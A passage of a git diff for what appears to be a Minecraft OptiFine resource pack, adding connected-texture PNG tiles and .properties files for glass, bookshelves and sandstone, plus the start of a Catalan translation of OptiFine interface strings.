b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/24.png new file mode 100644 index 00000000..5512cbb4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/25.png new file mode 100644 index 00000000..239fd78a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/26.png new file mode 100644 index 00000000..defc0689 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/27.png new file mode 100644 index 00000000..73dd6df9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/28.png new file mode 100644 index 00000000..8185b75e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/29.png new file mode 100644 index 00000000..f55e9601 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/3.png new file mode 100644 index 00000000..011ca1e2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/30.png new file mode 100644 index 00000000..6a125742 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/31.png new file mode 100644 index 00000000..f7dadbbf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/32.png new file mode 100644 index 00000000..a0f9b0ae Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/33.png new file mode 100644 index 00000000..a191e236 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/34.png new file mode 100644 index 00000000..d12d6b81 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/35.png new file mode 100644 index 00000000..8d55d970 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/36.png new file mode 100644 index 00000000..bf8fe4ac Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/37.png new file mode 100644 index 00000000..833a3e22 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/38.png new file mode 100644 index 00000000..5814d063 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/39.png new file mode 100644 index 00000000..c2decd50 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/4.png new file mode 100644 index 00000000..21e9e9ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/40.png new file mode 100644 index 00000000..b87f6e4b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/41.png new file mode 100644 index 00000000..99fd221b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/42.png new file mode 100644 index 00000000..7b5e6306 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/43.png new file mode 100644 index 00000000..10be40b5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/44.png new file mode 100644 index 00000000..96c8041e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/45.png new file mode 100644 index 00000000..5d2638a4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/46.png new file mode 100644 index 00000000..9360f4a4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/5.png new file mode 100644 index 00000000..0b09c259 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/6.png new file mode 100644 index 00000000..143555f0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/7.png new file mode 100644 index 00000000..443fa690 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/8.png new file mode 100644 index 00000000..6888680c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/9.png new file mode 100644 index 00000000..41b217d1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/glass_black.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/glass_black.properties new file mode 100644 index 00000000..3894f4db --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/glass_black.properties @@ -0,0 +1,5 @@ +# Stained glass black +matchBlocks=black_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/glass_pane_black.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/glass_pane_black.properties new file mode 100644 index 00000000..6a1c6d64 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/15_glass_black/glass_pane_black.properties @@ -0,0 +1,6 @@ +# Stained glass pane black +matchBlocks=black_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/0.png new file mode 100644 index 00000000..acadb01a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/1.png new file mode 100644 index 00000000..291d775b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/10.png new file mode 100644 index 00000000..602786bd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/11.png new file mode 100644 index 00000000..a1798819 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/12.png new file mode 100644 index 00000000..316522f4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/13.png new file mode 100644 index 00000000..b3c31653 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/14.png new file mode 100644 index 00000000..70de401e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/15.png new file mode 100644 index 00000000..c8704a1a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/16.png new file mode 100644 index 00000000..8b54006c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/17.png new file mode 100644 index 00000000..193abdc9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/18.png new file mode 100644 index 00000000..13940d42 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/19.png new file mode 100644 index 00000000..a64d95f8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/2.png new file mode 100644 index 00000000..dc088c6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/20.png new file mode 100644 index 00000000..0291a2eb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/21.png new file mode 100644 index 00000000..ea459b60 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/22.png new file mode 100644 index 00000000..683cfe1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/23.png new file mode 100644 index 00000000..45a0af6a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/24.png new file mode 100644 index 00000000..6f2391c2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/25.png new file mode 100644 index 00000000..95721237 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/26.png new file mode 100644 index 00000000..a620f448 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/27.png new file mode 100644 index 00000000..af69add9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/28.png new file mode 100644 index 00000000..5c7effda Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/29.png new file mode 100644 index 00000000..663c27de Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/3.png new file mode 100644 index 00000000..6611ddcd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/30.png new file mode 100644 index 00000000..21b4b1b5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/31.png new file mode 100644 index 00000000..8ded4a68 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/32.png new file mode 100644 index 00000000..1fb540bb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/33.png new file mode 100644 index 00000000..1ae5be78 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/34.png new file mode 100644 index 00000000..bd95188e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/35.png new file mode 100644 index 00000000..00e20971 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/36.png new file mode 100644 index 00000000..bdbb21c0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/37.png new file mode 100644 index 00000000..72b55b58 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/38.png new file mode 100644 index 00000000..9de42fed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/39.png new file mode 100644 index 00000000..3eb78ec8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/4.png new file mode 100644 index 00000000..ba09a5e3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/40.png new file mode 100644 index 00000000..c6deb568 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/41.png new file mode 100644 index 00000000..ccb3ad47 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/42.png new file mode 100644 index 00000000..db2b9cc6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/43.png new file mode 100644 index 00000000..c4ba83b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/44.png new file mode 100644 index 00000000..896a612e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/45.png new file mode 100644 index 00000000..40c7712d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/46.png new file mode 100644 index 00000000..66cf887b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/5.png new file mode 100644 index 00000000..3f475db9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/6.png new file mode 100644 index 00000000..ffd366db Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/7.png new file mode 100644 index 00000000..7d0ffb23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/8.png new file mode 100644 index 00000000..f9bf0fb1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/9.png new file mode 100644 index 00000000..d4f7c4ec Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/glass.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/glass.properties new file mode 100644 index 00000000..a6900c25 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/glass.properties @@ -0,0 +1,5 @@ +# Glass +matchBlocks=glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/glass_pane.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/glass_pane.properties new file mode 100644 index 00000000..89091065 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/20_glass/glass_pane.properties @@ -0,0 +1,6 @@ +# Glass pane +matchBlocks=glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/0.png new file mode 100644 index 00000000..93a10038 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/1.png new file mode 100644 index 00000000..d7f8277f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/2.png new file mode 100644 index 00000000..ea6408b8 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/3.png new file mode 100644 index 00000000..4c87f0fb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/bookshelf.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/bookshelf.properties new file mode 100644 index 00000000..afbabc37 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/30_bookshelf/bookshelf.properties @@ -0,0 +1,4 @@ +matchBlocks=minecraft:bookshelf +faces=sides +method=horizontal +tiles=0-3 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/40_sandstone/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/40_sandstone/0.png new file mode 100644 index 00000000..13d68d0d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/40_sandstone/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/40_sandstone/sandstone.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/40_sandstone/sandstone.properties new file mode 100644 index 00000000..7514cf91 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/40_sandstone/sandstone.properties @@ -0,0 +1,4 @@ +matchTiles=sandstone +connect=tile +method=top +tiles=0 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/41_red_sandstone/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/41_red_sandstone/0.png new file mode 100644 index 00000000..a2a7c7e1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/41_red_sandstone/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/41_red_sandstone/red_sandstone.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/41_red_sandstone/red_sandstone.properties new file mode 100644 index 00000000..b69e9001 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/41_red_sandstone/red_sandstone.properties @@ -0,0 +1,4 @@ +matchTiles=red_sandstone +connect=tile +method=top +tiles=0 diff --git a/src/assets/minecraft/optifine/lang/ca_es.lang b/src/assets/minecraft/optifine/lang/ca_es.lang new file mode 100644 index 00000000..bd87fc25 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/ca_es.lang @@ -0,0 +1,815 @@ +#Traduit al català per Empa, aka (Empa_), (Not_Empanamorse) + +# General +of.general.ambiguous=ambigüe +of.general.compact=Compacte +of.general.custom=Personalitzat +of.general.from=De +of.general.id=ID +of.general.max=Màxim +of.general.restart=Reiniciar +of.general.smart=Inteligents + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiàsing no es compatible amb shaders. +of.message.aa.shaders2=Desactíval per a utilitzar aquesta funció. + +of.message.af.shaders1=Anisotròpic no es compatible amb shaders. +of.message.af.shaders2=Desactíval per a utilitzar aquesta funció. + +of.message.fr.shaders1=No es compatible amb shaders.3 +of.message.fr.shaders2=Desactíval per a utilitzar aquesta funció. + +of.message.shaders.aa1=Els shaders no són compatibles amb antialiàsing. +of.message.shaders.aa2=Per a desactivar-lo, fes clic en Qualitat -> Antialiàsing. + +of.message.shaders.af1=Els shaders no són compatibles amb anisotròpic. +of.message.shaders.af2=Per a desactivar-lo, fes clic en Qualitat -> Anisotròpic. + +of.message.shaders.fr1=Els shaders no són compatibles amb el renderitzat ràpid. +of.message.shaders.fr2=Per a desactivar-lo, fes clic en Rendiment -> Renderitzat ràpid. + +of.message.an.shaders1=No es compatible amb shaders. +of.message.an.shaders2=Desactiva-les per a utilitzar aquesta funció. + +of.message.shaders.aa1=No es compatible amb Antialiàsing. +of.message.shaders.aa2=Desactíva'l a Qualitat -> Antialiàsing -> NO. + +of.message.shaders.af1=No es compatible amb Anisotròpic. +of.message.shaders.af2=Desactíva'l a Qualitat -> Anisotròpic -> NO. + +of.message.shaders.fr1=No es compatible amb Renderitzat ràpid. +of.message.shaders.fr2=Desactíva'l a Qualitat -> Renderitzat ràpid -> NO. + +of.message.shaders.an1=No es compatible amb Visió en 3D. +of.message.shaders.an2=Desactíva'l a Opcions variades -> Visió en 3D. + +of.message.shaders.nv1=Aquests shaders requereixen una versió d'Optifine més recent: %s +of.message.shaders.nv2=Vols continuar? + +of.message.newVersion=Hi ha una nova versió d'§eOptiFine§f disponible: §e%s§f +of.message.java64Bit=Instala §eJava de 64-bits§f per a millorar el rendiment +of.message.openglError=§eError 